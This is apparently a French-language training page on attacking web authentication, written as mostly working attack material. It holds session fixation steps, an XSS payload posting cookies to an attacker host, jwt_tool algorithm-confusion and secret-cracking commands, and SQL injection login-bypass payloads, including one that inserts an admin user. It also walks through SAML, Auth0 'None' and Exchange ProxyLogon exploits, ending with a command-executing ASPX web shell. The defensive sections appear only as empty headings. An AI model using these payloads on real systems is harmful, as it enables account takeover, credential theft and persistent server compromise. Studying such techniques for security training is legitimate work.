✅ Comprehension fondamentale

• Mecanismes d'authentification et failles d'implementation
• Gestion du cycle de vie des sessions et securite
• Systemes d'authentification bases sur les tokens
• Implementations cryptographiques et faiblesses

🔍 Competences avancees

• Outils et techniques de manipulation JWT
• Methodes d'analyse et d'exploitation de session
• Test et validation d'escalade de privileges
• Implementation securisee et remediation

Failles courantes

Erreurs typiques d'implementation d'authentification

Politiques de mot de passe faibles
Tokens de session previsibles
Regeneration de session manquante
Reinitialisation de mot de passe non securisee
Injection SQL dans la connexion
Controle d'acces cote client

Vecteurs d'attaque

Methodes utilisees pour compromettre l'authentification

Fixation de session
Detournement de session
Manipulation JWT
Manipulation de parametres
Empoisonnement de reinitialisation de mot de passe
Attaques par force brute

Impact potentiel

Ce que les attaquants peuvent accomplir

Prise de controle de compte
Escalade de privileges
Acces aux donnees
Controle administratif
Mouvement lateral
Acces persistant

Fixation et detournement de session

# Flux d'attaque par fixation de session
1. L'attaquant obtient un ID de session valide : JSESSIONID=ABC123
2. La victime est trompee pour utiliser cet ID de session
3. La victime s'authentifie avec l'ID de session fixe
4. L'attaquant utilise l'ID de session connu pour acceder au compte de la victime

# Techniques d'implementation
# Email/ingenierie sociale avec session predefinie
http://<target>/login?JSESSIONID=ATTACKER_CONTROLLED_ID

# XSS pour definir le cookie de session
document.cookie="JSESSIONID=FIXED_SESSION_ID; path=/"

# Detournement de session via XSS
<script>
fetch('http://<attacker>/steal', {
  method: 'POST',
  body: 'session=' + document.cookie
});
</script>

# Interception reseau (trafic non chiffre)
# Surveillez le trafic reseau pour les cookies de session
# Utilisez des outils comme Wireshark, tcpdump ou Burp Suite

# Analyse de prediction de session
# Collectez plusieurs IDs de session pour identifier les motifs
session1: ABC123456
session2: ABC123457
session3: ABC123458  # Sequentiel = previsible

Les attaques de session fonctionnent parce que de nombreuses applications echouent a regenerer les IDs de session apres l'authentification ou utilisent des algorithmes de generation de session previsibles.

Manipulation JWT avec jwt_tool

# Installer jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip install -r requirements.txt

# Analyser la structure du token JWT
python jwt_tool.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# Attaque de confusion d'algorithme (RS256 → HS256)
python jwt_tool.py -S hs256 -k public_key.pem JWT_TOKEN

# Attaque d'algorithme None (supprimer la verification de signature)
python jwt_tool.py -X a JWT_TOKEN

# Cracker les secrets HMAC faibles
python jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt JWT_TOKEN

# Modification manuelle de token
# 1. Decoder l'en-tete et le payload (base64)
# 2. Modifier le payload : {"role": "admin", "user": "attacker"}
# 3. Reencoder avec les valeurs modifiees
# 4. Pour l'algorithme 'none', supprimer completement la signature

# Exemple : Changer le role utilisateur
Original: {"sub": "1234", "name": "John", "role": "user"}
Modifie: {"sub": "1234", "name": "John", "role": "admin"}

Les attaques JWT reussissent lorsque les applications acceptent des algorithmes faibles, ne valident pas correctement les signatures ou utilisent des secrets previsibles pour la signature des tokens.

Payloads de contournement d'authentification

# Contournement d'authentification basique
username: admin' --
password: anything

# Contournement base sur les booleens
username: admin' OR '1'='1' --
username: ' OR 1=1 LIMIT 1 --
username: admin' OR 'x'='x' --

# Collecte d'informations basee sur UNION
username: admin' UNION SELECT 1,username,password FROM users --

# Contournement de validation de mot de passe
username: admin
password: ' OR '1'='1

# Injection aveugle basee sur le temps (pour confirmer la vulnerabilite)
username: admin' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') AND SLEEP(5) --

# Contournement avance avec creation d'utilisateur
username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'password123', 'administrator'); --

# Variations de commentaires pour differentes bases de donnees
-- (MySQL, PostgreSQL)
# (MySQL)
/* */ (MySQL, SQL Server)

L'injection SQL dans l'authentification fonctionne en manipulant la logique de requete pour toujours retourner vrai ou en extrayant directement les identifiants utilisateur de la base de donnees.

# Etape 1 : Analyser la structure de reponse SAML
# GitLab accepte les assertions SAML pour l'authentification SSO
# Vulnerabilite : Verification incorrecte de signature XML

# Etape 2 : Creer une assertion SAML malveillante
# L'assertion signee originale contient l'email utilisateur
# Modifier le champ email en dehors de la portion signee

<saml:Assertion>
  <saml:Subject>
    <saml:NameID>victim@<target></saml:NameID>
  </saml:Subject>
  <saml:AttributeStatement>
    <saml:Attribute Name="email">
      <saml:AttributeValue>attacker@hackerdna.com</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
  <!-- La signature ne couvre que Subject, pas AttributeStatement -->
  <ds:Signature>...</ds:Signature>
</saml:Assertion>

# Etape 3 : Contournement d'authentification reussi
# GitLab valide la signature sur Subject (email victime)
# Mais utilise l'email de AttributeStatement (email attaquant)
# Resultat : Connexion en tant que victime avec email controle par l'attaquant

# Etape 4 : Prise de controle de compte
# Initier la reinitialisation de mot de passe via le compte compromis
# Email de reinitialisation envoye a l'adresse controlee par l'attaquant
# Prise de controle complete du compte sans connaitre le mot de passe original

# Etape 1 : Analyser l'implementation de l'API d'authentification Auth0
# Auth0 empechait 'alg: none' avec un filtre sensible a la casse
# Vulnerabilite : Le filtrage sensible a la casse permettait le contournement

# Etape 2 : Obtenir la structure de token JWT legitime
# Un token normal aurait alg: RS256 ou similaire
{
  "alg": "RS256",
  "typ": "JWT"
}

# Etape 3 : Exploiter le contournement de filtre sensible a la casse
# Auth0 bloquait 'none' en minuscules mais pas les variantes avec majuscules
# Creer un token avec 'None', 'nonE', 'NoNe', etc.

{
  "alg": "None",  # ou "nonE", "NoNe", "NONE"
  "typ": "JWT"
}

# Etape 4 : Creer un payload malveillant
# Creer un payload avec les claims desires
{
  "sub": "attacker@hackerdna.com",
  "aud": "auth0-application",
  "iss": "https://<target>.auth0.com/",
  "exp": 9999999999,
  "iat": 1516239022,
  "mfa_token": "bypass_mfa"
}

# Etape 5 : Creer un token non signe
# Encoder en base64 l'en-tete et le payload, pas de signature
header = base64encode({"alg":"None","typ":"JWT"})
payload = base64encode({malicious_claims})
forged_token = header + "." + payload + "."

# Resultat : Contournement d'authentification et potentiel contournement MFA
# L'API Auth0 retourne une reponse 200 pour les tokens falsifies
# Les applications faisant confiance a la validation de token Auth0 sont compromises

# Etape 1 : Identifier la vulnerabilite du serveur Exchange
# CVE-2021-26855 : SSRF dans Exchange permet le contournement d'authentification backend
# Vulnerabilite : Validation incorrecte de l'en-tete Host dans les requetes proxy

# Etape 2 : Creer une requete malveillante avec manipulation d'en-tete Host
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
Host: <target>
Authorization: Bearer <any_token>
Content-Type: application/json
X-Forwarded-Host: localhost
X-Forwarded-For: 127.0.0.1

{
  "filter": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange",
      "SelectedView": "",
      "SelectedVDirType": "All"
    }
  }
}

# Etape 3 : Contournement d'authentification backend reussi
# Le backend Exchange fait confiance aux requetes de localhost
# Les en-tetes X-Forwarded font apparaitre la requete comme interne
# Resultat : Acces administratif sans authentification

# Etape 4 : Escalader vers une compromission complete du serveur
# Utiliser l'acces authentifie pour exploiter des CVE supplementaires
# CVE-2021-26857 : Deserialisation non securisee
# CVE-2021-26858 : Ecriture de fichier arbitraire post-auth

# Etape 5 : Deployer un web shell pour un acces persistant
POST /owa/auth/Current/themes/resources/<webshell>.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
    string cmd = Request.QueryString["cmd"];
    if (cmd != null) {
        Process.Start("cmd.exe", "/c " + cmd);
    }
%>

# Resultat : Compromission complete du serveur Exchange et acces persistant

Strategies de protection de session essentielles

Strategie de defense JWT multicouche

Securite d'authentification prete pour la production